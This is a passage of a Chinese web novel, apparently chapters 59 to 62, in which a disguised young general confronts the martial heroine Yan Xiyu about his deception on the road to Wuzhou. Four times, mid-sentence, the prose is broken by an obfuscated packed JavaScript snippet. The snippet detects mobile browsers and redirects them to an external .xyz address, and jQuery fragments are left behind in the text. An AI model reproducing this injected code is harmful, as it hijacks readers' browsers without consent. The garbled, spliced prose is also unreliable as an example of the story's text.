佟槿方放下草帘子,四周垂下的草帘挡住了板车里面的人,仲茂握着砍刀走过来。 “燕姑娘呢?我们是往前走还是再等等?” 从垂下的草帘子里面传出罗采春略带生气的声音:“我阿妹累了,要歇一歇,难道少了我阿妹,你们就不敢去乌州了?” 仲茂一挺胸膛:“那燕姑娘你歇着,我带大家赶路。” 他过来神情严肃地牵着缰绳:“燕姑娘这是在考验我们呢,仲二,我们不能怂!” “是,我听大哥的,”仲二也牵着缰绳说,“绝对不会让燕姑娘失望!” 盛樗容听见他们这样说,往燕惜妤所在的板车看了看,但垂下的草帘子挡住了他的视线。 于是他开口说:“你们牵着马慢慢过来,我骑马去前头看看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558743|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿七还在那边,出不了事。” 等他骑着马找到羿衍椋时,对方正在和那些受伤的镖师交谈。 盛樗容一眼就看见了那排装满货物的马车上插着的旗帜,一面是商队的旗号,另一面是镖局的旗帜。 他蹙着眉下了马,走近了看见地上横七竖八地躺着好几个人,大多数是了气息的山匪,还有两个受了伤的镖师。 没受伤的那些镖师一看见他,立即抽刀挡在胸前。 盛樗容喊了一声羿衍椋:“七哥。” 羿衍椋回头对他挥了挥手,那些镖师这才让开了路。 盛樗容走近羿衍椋身边时,听见商队的管事在说:“多谢少侠仗义相助,不知方才那位女侠她……” “她不理这些事,你有话同我说就行,”羿衍椋沉着声说。 “是是,那个……不知少侠前往处地?如果也是去乌州,那能否让我等也随同?当然,这路上的吃食我等自会奉上,不知方才那位女侠她……” “你们走你们的,难道你还想着这一路让人再救你们几次?”羿衍椋冷声说。 “那自然不是,我等虽身手平平,但这条道也是平安走了好些年的,只不过是奢望着能与少侠交好,就是不知方才那位女侠她……” “占着山道不走,你想在这待到几时?”羿衍椋斜乜着那管事,“还不快点下山!” “是是,我这就让人先去山脚下探路,”那管事踌躇着像是还有话想说,“我等想当面向女侠致谢,不知方才那位女侠她……” 羿衍椋冷哼一声,一甩袍袖转身走开,懒得再与那管事啰嗦。 那管事无奈,只能叹着气吩咐手下的人再去山脚下探路:“你俩去山脚守着,如果遇到要进山的商队先让人家停一下,我们这边已经在半山腰了,商队彼此之间这点行规还是懂的。” 那俩人手执刀剑牵来马匹,管事又叮嘱他们:“带上号箭,如果到了山脚没商队上山,你们就放号箭通知我,你们也要警醒些,要是发现山匪立即发号箭。” 等那俩人骑着马下山之后,管事就一边等着,一边让手下的人和镖师将伤员抬到板车上安顿。 有手下过来问他:“曾管事,阿昌和老郑……” 阿昌和老郑是他们商队的探路人,每次要经过这些窄小又危险的崖边山道时,他们俩人都需要先出去探路。 一是确定山道能让马匹拉着货物安全通过,二是确定对面来路没有商队经过,待都确定之后,他们会在对面山脚下发出号箭,让这边商队上山。 而他们需要守住山脚,不让其他商队在这时上山,还要留意山匪的靠近,如果发现山匪就会发出不同颜色的号箭。 但这次他们在山上遭遇到山匪偷袭,却没有收到守在山脚俩人发出的号箭。 “应当没事,”管事摆了摆手,“阿昌和老郑在商队比我待的年月还要久,他们不会背叛东家,你带人去崖边仔细找找,看看有没有能藏人的地方。” 敢劫他们陆家的商队,这伙山匪怕是大有来头。 这一路上…… 管事将目光投向了之前的年轻公子身上。 羿衍椋背对着商队的人站着,正在和盛樗容小声说话。 “阿盛,燕姑娘方才回去……是不是很生气?” 盛樗容微愣,随即摇头:“我没看见她。” “没看见她?”羿衍椋奇怪地看着他,“她不是回去赶板车了?” “你自己看吧,”盛樗容抬了抬下颌,看向正往这边过来的仲茂一行人。 59. 第59章 仲三仲四仲五各自握着砍刀走在最前头,后面是仲茂和仲二分别牵着拉着板车的马匹,佟瑰方俩兄弟跟在第一架板车后面走着。 没有燕惜妤的身影,也没看见她那三姐罗姑娘。 “燕姑娘呢?”羿衍椋走过来问仲三他们,边问还边看向被帘子遮挡住的板车。 “燕姑娘累了,正在歇息,”仲茂把手里的缰绳交给仲三,他走过来看着前面商队拉着货物的马车,“这还走不走了?” “走的走的,”曾管事一直留意着这边,见仲茂他们一行人出现,连忙恭敬地凑了过来,“这位兄弟,请问方才的女侠可在?我等还未谢过女侠的救命之恩,想当面道谢,可否请兄弟代为转告。” 他堂堂陆家商队的管事,从来只有别人巴结他,除了那些高官大老爷,他又何曾和人称兄道弟过。但这时他对着仲茂一口一个兄弟,叫的那叫一个亲热。 “我家姑娘是你想见就见的啊,”仲茂惯会狐假虎威,他瞪着面前的人,“山匪已经帮你打跑了,你还挡着道做什么,还不快快下山!” “是是是,我这就让人准备下山,”曾管事点着头说,“可否劳驾兄弟同方才那位女侠说一声,我等是真心想道谢。” 仲茂瞪着他:“先下山再说。” “哎好嘞,”曾管事一个转身,脸上的恭敬的表情瞬间一收,对着他手下的人喊,“收拾好没?准备下山!” 就在这时,山脚下有支号箭射上半空,这是平安无事可通行的信号箭。 “下山!!”曾管事举着手一挥,陆家商队的伙计和镖师纷纷赶拉货的马匹向山下走。 曾管事面色严肃地看着马队下山,一个转身之后,他脸上的表情顿时又变了。 “这位兄弟,我这商队众人虽然也是风餐露宿,但还是带着些许能下肚的食物的,劳驾兄弟问问方才那位女侠,她有没想吃的菜式,我叫手下人烧好给你们送过去。” 仲茂继续瞪他:“我家姑娘岂会贪你这点吃食,你且候着吧,待我家姑娘唤你再说。” “是是是,有劳兄弟了,”曾管事极为识趣地悄悄给仲茂的怀里塞了一个银袋子,“兄弟一路辛苦了,这点小钱就当是哥哥我请兄弟去城里吃酒了。”说完还怕仲茂不会收,一转身就小跑着溜了。 仲茂长这么大从来没有过这种时候,想他一个穷小子,竟然也有大商队的管事给他怀里塞钱了! 这让他忽然想到了他曾给那吝啬的东家在马厩铲马粪的日子,东家那样富户的人家,到了官老爷的府邸,他跟前最得力的管家也得点头哈腰地往给官老爷守大门的门卫怀里塞钱。 “哈哈!”仲茂忽然神叨地笑了两声,在其他人看过来时,他瞬间抖擞地挺起了胸膛,“咱们下山!” 一行人两架板车从羿衍椋的面前经过,然后剩下他和盛樗容,还有两匹马。 “七哥?”盛樗容走过来喊他,“怎么了?不下山吗?” “燕姑娘在板车里没出来,”他看着渐渐走远的板车说。 “罗姑娘说她累了要歇会儿,”盛樗容说,“虽然不知她为何在板车里不出来,但她总会出来的。” “……她生气了,”羿衍椋垂下了眼眸。 “生气?”盛樗容有些不解,“燕姑娘生何人的气?” 羿衍椋没说话。 “难道她是怪你引山匪过来的这件事?”盛樗容忽然就想到了原因。 “不只,”羿衍椋扯起嘴角笑了笑,“她还看出我身上有伤,也知道玄归和雪照是我们的坐骑,甚至还猜到我们不是猎户和渔夫。” “……燕姑娘全知道了?”盛樗容有点惊讶,但他却又了然地点头,“她是个聪慧的女子,知道这些事也不奇怪。” “太聪慧了,”羿衍椋吁了口气,“原以为是我们在骗她,但却没想到是她拿我们当耍戏的猴子一直在看着。” 盛樗容有点默言,他估计也没想到他成为了被戏耍的猴子。 俩人沉默地站了一会儿,然后默默地跟着板车向前走,两匹马认人地跟着他们。 “七哥,虽然你把山匪引过来令燕姑娘生气,”盛樗容忽然说,“但也因为这件事让我们知道了真相,从而避免了我俩一直被燕姑娘当猴子看。” “……她说要杀了我,”羿衍椋垂着眼眸,表情有些惘然,“我把她惹怒了,所以她不再无视我。” 听见燕惜妤说要杀了羿衍椋,盛樗容有些震惊,但羿衍椋又说燕惜妤无视他,这又让盛樗容觉得奇怪:“燕姑娘无视……我们?” 不等羿衍椋开口,他又自问自答地点头:“原来她之前不拆穿我们,把我们当猴子看,是因为她一直在无视我们,这样也就说得通了,怪不得我们说什么她都相信的样子,合着我们之前根本就没有进入过她的眼中啊。” 羿衍椋继续沉默。 “想来也对,以燕姑娘的身手,我们这些人根本就无法给她造成伤害,所以她完全不在乎我们是什么身份,在她眼里,我和七哥你就像蝼蚁,”盛樗容说着说着把自己给说笑了,他看着羿衍椋露出调侃的眼神,“我是蝼蚁尚且没说错,可你羿少将军怎么也成蝼蚁了。” 羿衍椋瞥了他一眼:“我现下已经进入她的眼中了。”虽然燕姑娘说要杀了他。 “……那你不亏是羿少将军,”盛樗容说。 俩人沉默地又走了一段路,前方已经远远地能看见山脚了。 “那七哥,我们还要跟着燕姑娘吗?”盛樗容忽然开口,“燕姑娘知道我们欺骗她,她难道没赶你走?” “她从一开始就知道我们在欺骗她,”羿衍椋恹恹地说,“你不是文人才子吗,你来猜猜为什么她不赶我们走,甚至还让我们与她同行。” 盛樗容脚步顿了一下,仔细沉思后才开口说:“或许和七哥你执意要跟着燕姑娘的理由相似。” “我跟着她,是因为她要去乌州边地,”羿衍椋抬眸看着悬崖外的深谷,“她武功太强了,若她闯入边地屯戍,我羿家军必被她所伤。” 之前他在渡船上见识过燕惜妤的身手之后,上了岸就一直跟着她,他需要确定这女子的身份来历,还需要确定她的去向。后来听说她要去乌州边地,他心里立即就警惕了起来。 乌州是距离大承朝皇都最远的边地,那里离大漠最近,除了夷狄人,剩下的,就只有他羿家军了。 那样身手了得的一个女子,如若被她闯入羿家屯戍里,他无法想象后果会是怎样的严重,所以他才会带着盛樗容隐藏身份一直跟着她。 羿家军众将士一生为大承守卫边陲国门,不能就这样伤于一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14572848|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个不知来历的女子手里。 “我们不知道她的身份来历,她也不知我们的身份来历,”盛樗容沉吟道,“七哥你怕她会对羿家军不利,她不知我们为何要跟着她,可能也是怕我们对她有所企图,所以她才留我们跟在身边,把我们放在她眼皮底下盯着。” “当真是太聪慧了啊!”羿衍椋感叹道,“身手了得,人又聪慧,她若是大承的敌人……” “七哥,你不要忘了,”盛樗容提醒他,“她姓燕。” 羿衍椋盯着他:“怎么?你想大义灭亲?” 盛樗容没好气地瞥他一眼:“这事和我又能有什么关系,我已经逃离皇都了啊!再说燕姑娘虽然姓燕,她和我也没关系啊!” “也对,”羿衍椋忽然挑了挑眉,“她和你没关系,和我也没关系,她只是一个会武功的普通女子。” “……什么意思?”盛樗容吃惊地看着他,“这事你不管了?” “我能管什么?”羿衍椋嗤笑一声,“等她到了乌州边地,衙门的人如果给她落户,那就是衙门的事,和我羿家没关系。” “……七哥你猜衙门的人会不会觉得乌州有你羿家在,所以什么事都不管,反正最后出了事,都是你羿家出兵去处理,”盛樗容声音带着厌恶,“某些人成天在朝堂上说你们羿家是大承边地世袭之王,那他们为什么要占着皇都不挪窝,他们大可以也来边地当世袭之王,也没谁拦着他们!” 一个个贪生怕死之辈,垂涎羿家众将士的战功,却又不敢上战场,只敢缩在龙椅后面胡乱吠着。 “你文人的雅量呢?”羿衍椋调侃他,“我都不急,你急什么。怪不得你要离开皇都,就你这脾气,在朝堂上不知得罪多少大臣。” 盛樗容叹气:“我俩这脾气怎的就生错了,你一个武将,能忍旁人不能忍之事。我一个文人,却一个忍不住就想动手。”可惜,他身体不好,不能习武,到头来还是做不成他想做的事。 “我身后是我羿家几十万将士,我如果不能忍,他们在边地就过得不安生,我得为他们日后考虑,”羿衍椋也跟着叹气,“我还真是羡慕燕姑娘,她平日看着和善,遇事却是先动手,偏偏没人能打得过她,当真是羡慕啊!” “七哥你说,燕姑娘她收不收徒弟?”盛樗容眼中忽然露出精光,“等到了乌州,我跟她习武如何?” “你自己去问她,看她收不收你这个三步一咳的徒弟,”羿衍椋摇了摇头。 盛樗容被他的话打击到了,顿时蔫巴地说:“你是少将军你能耐,你……能打得过燕姑娘吗?” 他说着说着,忽然就又来了精神,双眼盯着羿衍椋问:“七哥,燕姑娘说要杀你,你能自保吗?” 羿衍椋瞬间陷入了沉思。 燕姑娘要是真想杀他,他能逃的了吗? “不知,”羿衍椋还真是想不出这个答案,“燕姑娘确实身手了得,但我在战场上历经了无数次生死战役,她要是真想杀我,在生死一瞬间……我得等到那个时候才会知道。” “还是别了吧,我总觉得没人能从燕姑娘手下逃走,”盛樗容缩了缩脖子,“等燕姑娘出了板车,我俩去给她道歉,有这一路的相伴,她应当会原谅我们对她的隐瞒。” 结果燕惜妤从那之后的两天里,一直没现身。 60. 第60章 羿衍椋围着垂着草帘子的板车转了几圈,眉头越蹙越紧。 盛樗容轻手轻脚凑过去,低声对他说:“七哥,别急。” 羿衍椋自认为他不是急,他只是觉得奇怪。 他和盛樗容走到旁边树底下盘腿坐着,双眼继续盯着板车的方向:“阿盛,你说燕姑娘为什么不愿意从板车里出来?” “或许她是不想应付商队的那些人?”盛樗容扫了眼陆家商队的那个曾主管,对方也正时不时看看板车的方向,很显然他也正在等待板车里面的人出来。 “我觉得她是在生我的气,”羿衍椋若有所思地说,“因为我先前引山匪一事,导致她一生气就把事情说了出来,这或许让她觉得恼怒,所以她不想再见到我。” “我觉得不像,”盛樗容摇头,“燕姑娘不像是那么小气的人,她之前一直虽然警惕着我俩,但她却并不在意我和你的行动,像你骑马去城里,她就不担心你跑了。” 羿衍椋瞥他:“你这个人质还在,她不怕我跑。” 盛樗容顿时不吭声了。 羿衍椋又瞥了他一眼:“你去和你那佟兄弟说几句,看看能不能从他口中探听些什么出来。” 盛樗容一直听他七哥的话,闻言就去找佟槿方了。 过了一会儿他才回来,面对羿衍椋询问的眼神,他摇摇头:“他只说燕姑娘累了在歇息。” “他和他姐都懂医术,燕姑娘带着他俩人去乌州肯定是有用意的,”羿衍椋敛着眼眸说,“他不说,我就去问阿谦。” 说完,他一撩长袍下摆,就向仨小孩坐着的方向走了过去。 盛樗容看着他的背影,眼神中露出了些许的疑惑,他七哥可从来不曾有过这么急的时候。哪怕在战场上,他独自一人面对着敌方的千军万马,他都能稳如磐石不露一丝焦灼。 怎么燕姑娘这才两天不见人,他这七哥就开始急了? ……难道是怕燕姑娘杀了他? 再说阿谦还是小孩子,他能懂些什么。 阿谦确实不懂,他睁着茫然的眼睛看着羿衍椋:“燕姐姐……在睡觉。” “她在睡觉?”羿衍椋有点惊讶,“她一连睡了两日?她和罗姐姐可有说些什么?” “就是在睡觉……”阿谦拧着小眉毛,“一直在睡。” 燕姐姐就是一直在睡觉啊,他和阿弟阿妹睡前醒来,燕姐姐都在睡觉。 罗姐姐说不要吵到燕姐姐睡觉,所以板车停下来后,罗姐姐就会把他还有阿弟阿妹都抱出板车。 羿衍椋有些无奈地又走回到盛樗容的身边。 “七哥,阿谦说了什么?”盛樗容立即问他,“燕姑娘和他在同一架板车里,他许是会知道些事。” “他说燕姑娘一直在睡觉,”羿衍椋叹气,“估计是他一直在板车里睡觉,所以说燕姑娘也在睡觉。” “他说燕姑娘一直在睡觉?”盛樗容也觉得这事情不可能,“才刚遇到山匪劫道,燕姑娘就算再厉害也不可能在板车里连睡两天,毕竟外头还有她这么多人,她不可能睡得着。” 羿衍椋也没把阿谦的话当真:“那她为什么一直不出来?” 这点盛樗容也不明白:“罗姑娘一直和她同坐一架板车,我看她和佟家姐弟还有仲家兄弟都像没事人似的,应该出不了事。” “佟家姐弟这两日也有些反常,尤其是佟兄弟,他像是一直在紧绷着的样子,每次从板车里出来,脸上总带着些许慌乱,”羿衍椋这两日一直在观察着出入板车的那几人,这点还是留意到了。 “佟兄弟有所反常?”盛樗容蹙着眉说,“若他反常,燕姑娘莫不是病了?” “她病了?”羿衍椋一怔,“她之前一只手就能把山匪抛下悬崖,还有说要杀我时的那个精神劲,不像生病。” “我也觉得不像,她神出鬼没的,倏一下人就消失了,轻功早已经达到了登峰造极之地,”盛樗容语气中有着惶悸,“武功那么高强的一个女子,怎么看都不像生病。” “那你为何又说她病了?”羿衍椋看着他,“你忽然这样说,总是有所凭据的。” “佟兄弟先前曾无意中说漏了嘴,”盛樗容低声说,“他说燕姑娘把他带在身边是为了治病。” 羿衍椋一听,皱着眉陷入了沉思,最后还是摇头说:“但阿谦的腿伤,一直是佟姑娘在帮着医治,就连熬药敷药都是佟姑娘动手,他倒是也有帮忙,但我见他更多的时候是在旁边看着。” 羿衍椋怀疑燕惜妤的来历,平日自然会将她和她身边的人观察的仔细,佟槿方是懂医不假,但佟姑娘的手法却是看着更为娴熟的样子。 “所以先前他无意中说漏嘴,我也没放在心上,他一个十六岁小郎,当个医徒我信,给人治病我不敢信,”盛樗容摇着头说,“可你这不是在猜测各种可能嘛,我忽然就想起了这事。” 羿衍椋皱着眉想了又想,仍然想不出燕惜妤为什么要躲在板车里不露面。 难道真被他气到了?还给气病了? “我去问问,”羿衍椋忽然站了起来。 “七哥你去问谁?”盛樗容也跟着站起来,“问罗姑娘吗?可她这几日都不搭理我们。” 羿衍椋的脚步忽然一顿,他像是想到什么似的说:“罗姑娘这几日给了我们脸色看……” “主要是没给七哥你好脸色,”盛樗容幸灾乐祸地说,“你把山匪引过来,不仅燕姑娘说要杀你,就连燕姑娘的三姐都不待见你了。” 以前罗姑娘还有佟姑娘见了他俩,那都是有好脸色的。 “不待见我……”羿衍椋喃喃说着,忽然大踏步向着板车走了过去。 盛樗容不知道他要做什么,所以他没跟过去。那板车里面现在只有燕姑娘和罗姑娘在,他俩个男子凑过去成何体统。 羿衍椋一个人走到板车旁,他隔着草帘子轻咳了一声:“罗姑娘,请问燕姑娘是否醒着?” “你要干什么?”罗采春在帘子里面说,“有事去找仲茂,不要来打扰我阿妹歇息。” “在下有话要同燕姑娘说,能否请燕姑娘出来一下?”羿衍椋双眸紧紧地盯着垂下的草帘子。 他是不相信燕惜妤会病,也不相信佟槿方跟着她是为了给她治病。但罗姑娘不可能会无缘无故忽然给他脸色看,肯定是燕惜妤出了什么问题,罗姑娘这才会迁怒于他。 虽然他不相信阿谦说燕惜妤一直在睡觉,但阿谦说的却证实了另一个可能,那就是燕惜妤一直躺在板车上。 有什么事情会令一个人在板车上连躺了两天?莫不是中了毒?亦或是遭人暗算起不来了? 他今日必须要知道燕惜妤到底出了什么事! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完,“唰”一下放下草帘阻隔了羿衍椋的视线,但他能听见她似是撒娇的声音:“三姐,给我梳个好看的发髻呀。” “戴箬帽梳不了好看的发髻,”罗采春的声音完全没有了刚才的愤怒和生气,此时只剩下欢喜。 “那就梳一个戴上箬帽也好看的发髻。” 燕惜妤的这句话,让羿衍椋轻笑着摇了摇头。 燕惜妤总算是露面了,他这两日的心神不宁也忽然消失了。 “七哥,燕姑娘醒了?”盛樗容有些惊喜地走了过来。 刚才的事情他看见了,原以为七哥会无功而返,却没想到真的把人给逼了出来。 盛樗容看羿衍椋的眼神顿时就充满了敬佩。 遇事还得是他七哥,像他,遇见这种事就只能等待。人家姑娘不愿意露面,他总不可能逼过去硬要让人出来。 但他七哥能! 怪不得燕姑娘说要杀了他七哥,这样做确实招人厌烦。 “你这是什么眼神?”羿衍椋不解地看着他。 “没,燕姑娘醒了,我心中欣喜呢,”盛樗容说。 燕惜妤醒了,确实让很多人都心中欣喜,除了佟瑰方俩姐弟,还有商队的曾管事。 61. 第61章 燕惜妤才刚跳下板车,身边嗖的一下就冒出来一个人:“女侠!” 燕惜妤向后仰了一下头,然后就和站在旁边的羿衍椋对上了视线。 这谁啊?燕惜妤用眼神询问他。 羿衍椋对她挑了挑眉,抬脚走了过来:“这是陆家商队的人,陆家商队在大承各州县都有分号,他们有着大承最大的货运马队。” 最大的货运马队? 燕惜妤转头看向旁边的中年男子,对方衣着光鲜,眼睛闪烁着精明。 “女侠,某姓曾,是陆家商队的大管事,”曾管事还想再说些什么时,旁边忽然又窜出了一个仲茂。 “姑娘醒了?”仲茂昂着头站在燕惜妤身边,用下颌指着曾管事说,“这是陆家商队的曾管事,先前姑娘从山匪手里救了他东家的商队,他这两日一直缠着我,说要来给姑娘道谢哩。” “是是是,”曾管事既紧张又恭敬地对着燕惜妤弯腰拱手,“曾某先前未能亲口向女侠道谢,这两日深感歉意,望女侠见谅。” “你商队没事吧?”燕惜妤问他,然后抬头看了看四周。 “没事没事,有女侠出手相救,我东家的商队并没有遭到任何损失,”曾管事恭敬地从怀里掏出一叠银票说,“女侠救了我手下的人和一众镖师,虽知女侠定是那世外高人不沾尘事,但这是我代东家赠予女侠的一点不值一提的心意,望女侠能收下。” 燕惜妤扫了那叠银票一眼,然后瞥了一眼仲茂。 仲茂立即就把曾管事举着银票的手往下按,同时双手扳着对方的肩膀:“我说曾管事,你这就小瞧我家姑娘了,快把银票收回去,莫惹我家姑娘生气。” 曾管事被他又拖又架地给拽走了。 燕惜妤又喊旁边的仲二:“仲二,仲四呢?”她看了一圈,发现少了仲四的身影。 “回女侠,仲四兄弟同我商队的一个伙计出去摘野果了,”刚被仲茂拽走的曾管事又给窜了回来,“我那伙计也是个说话不利索的,和仲四兄弟特投缘,俩人这两日总是一起去摘野果。” “哎我说曾管事你咋抢我的活呢?”仲茂连忙又把曾管事给拽走了,“你可不能在我家姑娘前抢我的活啊!” “我说仲茂兄弟,咱哥俩就不用分你的我的了,你家姑娘那不也是救了我这整个商队的女侠嘛,”曾管事被仲茂拖着走,还不忘冲着这边喊,“女侠若是有吩咐只管让曾某去做,陆家商行遍布大承各州县,定能为女侠办好任何事!” 燕惜妤对他笑笑,刚想往外走,却发觉阿七还站在一旁。 她看了他一眼:“你有话要说?” 羿衍椋手微攥成拳,抵着鼻下轻咳了一声,这才开口说:“燕姑娘还在生我和阿盛的气吗?”怕只提他自己不够分量,还特意把阿盛也给带上了。 盛樗容那三步一咳的羸弱样子,燕惜妤总是对他宽容三分。 她说要杀了他,却不提阿盛一句,明明骗她的是他们俩人。 燕惜妤奇怪地看了他一眼:“我没生气。” “燕姑娘不是因为我先前把山匪引来一事在生气?”羿衍椋也不解地看着她,“燕姑娘如果不是生气,那又为何要避开众人两日?” “我三姐不是说了,我在歇息啊,”燕惜妤很真诚地看着他,“我累了难道还不能歇息吗?” “……我以为燕姑娘是因为给了我警告之后不愿再看见我,所以才不出板车的,”羿衍椋表情有些失落,“燕姑娘上次说的,是会真的杀了我吗?” 燕惜妤顺着他的话点点头:“再有下次,我就杀了你。” 羿衍椋双眼注视着她,在她眼中看见了认真。 他沉默了一会儿,才再次开口:“燕姑娘是否还在怪我和阿盛隐瞒着身份并欺骗了你?” “没有,”燕惜妤摇头,“你隐瞒还是不隐瞒,我都不在乎,因为我怀疑每一个试图接近我的人,从一开始我就没相信过你和阿盛,你们只要对我和我身边的人不造成危险,我就任由你们跟着。” 羿衍椋在这时算是明白燕惜妤为什么会忽然将事情说了出来,因为他将山匪引来,令燕惜妤觉得他会给她和她的人带来危险,所以她直接了当地说明了。 这是她对她的警告。 燕惜妤看他蹙着眉的样子,在心里悄悄地赞了一句“好看”,然后说:“你以后有话就直说,别给我的人带来危险,我就不杀你。” 羿衍椋听了她这句话,心里反而更失落了。 她此时说不杀他,其实在心里是确实再有下次就要杀了他的。 “燕姑娘,你为何要去乌州?”羿衍椋直视着燕惜妤的双眼,问出了他最想要知道的问题。 他这话一说出口,燕惜妤多聪明的一个人,瞬间就明白了一些她之前猜疑的事。 “你说你也要去乌州……你怕我去乌州会对你,或你的人不利?” 羿衍椋点点头,他说了一些他能说的事情:“我的人在乌州,我怕你会伤到他们。” 羿家军遍布大承每个边地,每处屯戍都是羿家军的将士在镇守,尤其是乌州边地,因为对面就是凶残的夷狄人,他羿家将士能上马杀敌,却不会防备一个像她这样的大承朝的百姓。 “只要你的人不主动攻击我或我身边的人,我一般不会动手,”燕惜妤想了想,有些好奇地问他,“你的人都是做什么的?为什么觉得我会对他们不利?” “都是在乌州边地附近的百姓,我也住在那边,”羿衍椋避重就轻地说,“毕竟边地潜藏着太多未知的危险,我不知燕姑娘过去是不是打算以武力解决所有的事情,所以才想着探一探你去乌州的原因和目的。” “我去乌州是觉得那边比较合适我,”燕惜妤确实是这么想的,边地就是合适那些被衙门通缉着的人。 羿衍椋迟疑地说:“合适?因为充满了危险?”还是因为在边地你就可以随便动手? “因为那边可以套野马野羊野牛野骆驼,”燕惜妤没好气地瞥了他一眼,“谁没事会想要充满危险的生活,我又不傻。” 你这还不傻?! 羿衍椋略略挑起了眉尾:“先别说套野畜就是一件充满了危险的事,你知道那些野畜都出没在什么地方吗?” “在什么地方?”燕惜妤对这个问题是有过猜测的。 “都在夷狄人聚集的地方出现,因为夷狄人圈养的畜群里也有套来的野畜,那些野畜会时不时出现在牧场附近,试图将被圈养的同伴再唤回身边。” 羿衍椋边说边看着她,见她脸上露出果然如此的表情,忍不住说:“燕姑娘,你虽然武功高,可你独自一人前去大漠还是过于冒险了。” “阿七你说,”燕惜妤却在想着另外的问题,“大漠上的野畜,是不是谁套到就归谁?” “这个自然是,”羿衍椋点头,看她双眼闪烁着跃跃欲试,忍不住开口劝她,“燕姑娘,大漠并不是大承,你一旦过去了那边,如果遇见夷狄人,没人能救你。” 就算是他,身为羿家军的少将军,也不能私下潜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597029|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入大漠。哪怕他曾经为了追杀夷狄人的一名武将,独自闯大漠将对方的首级取了回来,朝中还是有人参劾了他。 说他不听君令,无视君威,且独自一人前往大漠,不知和夷狄人有了什么勾结,说他有通敌之嫌。 “夷狄人会杀大承人?”燕惜妤看着他,“那我如果自卫杀了夷狄人,应该不会引起两国交兵吧?” 羿衍椋默言,他有些无奈地开口:“燕姑娘为何非得去大漠套野畜?” “因为自己套来的野畜不用花钱啊,”燕惜妤理所当然地说,“而且我还能把套来的野马卖了赚钱。” “你为何非得做如此危险的营生?”羿衍椋想说你一个女子,可以做些女子常做的活计。 “有哪样不危险的?”燕惜妤瞥了他一眼,“商队千里迢迢运货物会被山匪劫道,仲茂他们以前给富人种地,被当作牛马跪着犁田还要被抽鞭子一样也很危险。” 羿衍椋发现自己说不过她,但他不得不劝,因为他不想她去大漠,夷狄人凶残至极,她一个人武功再高也难敌四手。 “乌州很大,你过去了先看看,或许能找到另外合适你的营生,别急着去大漠,如若缺银子,我可以给你银票。” 燕惜妤一愣,抬眸定定地看着羿衍椋,眼神中闪烁着灿烂的光芒。 “如何这般看我?”羿衍椋被她看的稍稍侧开了脸。 “阿七,你知道有些人就算手里有银子,但过不了多久就会全亏了的这事吧?”燕惜妤转了转眼珠子说,“我身边的人都没正经有过营生,很容易亏钱的。” “无碍,你若缺银子就去寻我,我给你银票,”羿衍椋这句话没有半点谎言,因为他确实有银子。 羿家虽然从先祖起就是投军从戎,只不过因为羿氏一族打的胜仗太多了,皇帝赐给羿氏众人不少金银珠宝和良田,可羿氏族人大多都守在国土边地。 边地荒凉且充满了危险,羿家人每日只想着如何守住国门保护百姓,哪有闲工夫去花钱,所以羿氏众人有银子,但他们不会花,大多数都是把银子留给家族的女儿陪嫁出去。 此生已将自身献给了大承,儿子大了也带去了战场,陪伴妻女的时间是少之又少,除了荣耀和银钱,羿家男人并没有什么能留给自己的妻女。 羿衍椋只是想劝燕惜妤留在大承,他怕燕惜妤出去会被某些夷狄人策反,怕她会反过来成为大承的敌人。 但燕惜妤此时看他的眼神却让他有点儿不自在,他继续侧着脸说:“怎的还是拿这眼神看我?我给你银票让你觉得被冒犯了?” “没有!绝对没有!”燕惜妤立即提高了声音说道,“那么多人没钱只能开口问人借,你不用我开口问就愿意拿银票给我,你是大好人。” 多好的人啊,这不就是自己在遇到资金周转困难时,你的好友不等你开口,就主动对你说“你最近是不是手头紧?我这还有点钱,你先拿去应急”。 虽然她并不需要对方的钱,而对方现在也只是口头说着,但对方能有这份心意,就已经是很难得了。 这样的朋友去哪里找!她上辈子一定是个大大的好人,所以这辈子才能遇到啊! 燕惜妤脸上露出了难得的舒心笑容。 羿衍椋见她笑了,像是被她的笑容感染,也微勾着唇角看着她:“你不怪我唐突就好……” 他的话没说完,却忽然转过头去,盯紧了官道对面的山林。 他的脸色变得太快,燕惜妤不明所以地也跟着转头看向山林。 62. 第62章 